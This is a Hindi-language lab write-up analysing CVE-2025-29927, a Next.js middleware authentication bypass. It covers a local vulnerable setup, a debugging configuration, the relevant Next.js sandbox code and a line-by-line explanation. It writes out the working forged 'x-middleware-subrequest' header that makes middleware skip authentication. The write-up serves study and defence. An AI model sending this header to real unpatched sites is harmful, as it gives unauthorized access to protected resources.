
Next.js मिडलवेयर प्रमाणीकरण बाईपास
x-middleware-subrequest हेडर को जाली बनाकर Next.js मिडलवेयर प्रमाणीकरण तंत्र को बायपास किया जाता है, जिससे सुरक्षित रूट्स तक अनधिकृत पहुँच संभव होती है।
प्रोजेक्ट स्रोत P सर से लिया गया है, Next.js संस्करण 15.2.2 है (For Next.js 15.x, this issue is fixed in 15.2.3)।
सुनिश्चित करें कि Node और npm पहले से इंस्टॉल हैं। निम्नलिखित कमांड से संस्करण जाँचें:
node -v
npm -v
डिपेंडेंसी इंस्टॉल करें और प्रोजेक्ट शुरू करें
# 1. प्रोजेक्ट डायरेक्टरी में जाएं
cd vulenv
# 2. Yarn को वैश्विक रूप से इंस्टॉल करें (यदि पहले से नहीं है)
npm install -g yarn
# 3. प्रोजेक्ट डिपेंडेंसी इंस्टॉल करें
yarn install
# 4. डेवलपमेंट सर्वर शुरू करें
npm run dev
या एक साथ:
cd vulenv && npm install -g yarn && yarn install && npm run dev
सफलता इस प्रकार:


VScode डिबगिंग निम्नानुसार कॉन्फ़िगर करें
{
"version": "0.2.0",
"configurations": [
{
"name": "Next.js: debug server-side",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev"
},
{
"name": "Next.js: debug client-side",
"type": "chrome",
"request": "launch",
"url": "http://localhost:3000"
},
{
"name": "Next.js: debug full stack",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev",
"serverReadyAction": {
"pattern": "- Local:.+(https?://.+)",
"uriFormat": "%s",
"action": "debugWithChrome"
}
}
]
}
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
......
एक मिडलवेयर फ़ंक्शन जिसका उद्देश्य पुनरावृत्ति कॉल की गहराई का पता लगाना और अनंत लूप कॉल से बचना है। इसकी क्रियाविधि x-middleware-subrequest हेडर पर निर्भर करती है, इसे कोलन : से अलग कर कई सबरिक्वेस्ट नामों में विभाजित किया जाता है और वर्तमान मिडलवेयर नाम params.name से मेल खाने वाली संख्या (अर्थात पुनरावृत्ति स्तर) की गणना की जाती है। जब पुनरावृत्ति स्तर निर्धारित सीमा (डिफ़ॉल्ट MAX_RECURSION_DEPTH = 5) तक पहुँच जाता है या उससे अधिक हो जाता है, तो मिडलवेयर मुख्य तर्क (जैसे पहचान सत्यापन) को छोड़ देता है और अनुरोध प्रसंस्करण जारी रखता है।
युक्तियाँ: अनंत लूप कॉल से बचना, मोटे तौर पर इस प्रकार है
उपयोगकर्ता /dashboard तक पहुँचता है
↓
मिडलवेयर इंटरसेप्ट करता है, /api/auth का अनुरोध करता है
↓
/api/auth फिर से मिडलवेयर को ट्रिगर करता है
↓
मिडलवेयर फिर से /api/auth का अनुरोध करता है
↓
...
अनंत लूप! 🌀
मिडलवेयर का नाम middleware है, निम्नलिखित हेडर बनाया जा सकता है:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
उपरोक्त निर्माण से depth = 5 हो जाएगी, जो सीधे ट्रिगर करेगा:
if (depth >= MAX_RECURSION_DEPTH)
यदि एप्लिकेशन पहचान सत्यापन तर्क को मिडलवेयर में लिखता है, तो इससे मिडलवेयर प्रमाणीकरण तर्क से बाहर निकल जाएगा और वापस लौटाएगा
x-middleware-next: 1
अनुरोध को बैकएंड की ओर प्रवाहित करने देगा, जिससे बिना प्रमाणीकरण के सुरक्षित संसाधन प्राप्त हो सकते हैं
नीचे दिए गए स्थान पर ब्रेकपॉइंट (पथ विवरण: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) सेट करने के बाद डिबगिंग शुरू करें।

Payload भेजें

नीचे दिए गए स्थान पर ब्रेकपॉइंट, देख सकते हैं कि इस समय depth का मान 5 है

निष्पादन जारी रखें, तो सुरक्षित संसाधन प्राप्त किया जा सकता है

Pocsuite3 पर आधारित, विवरण के लिए Poc_CVE-2025-29927.py देखें।

Next.js and the corrupt middleware: the authorizing artifact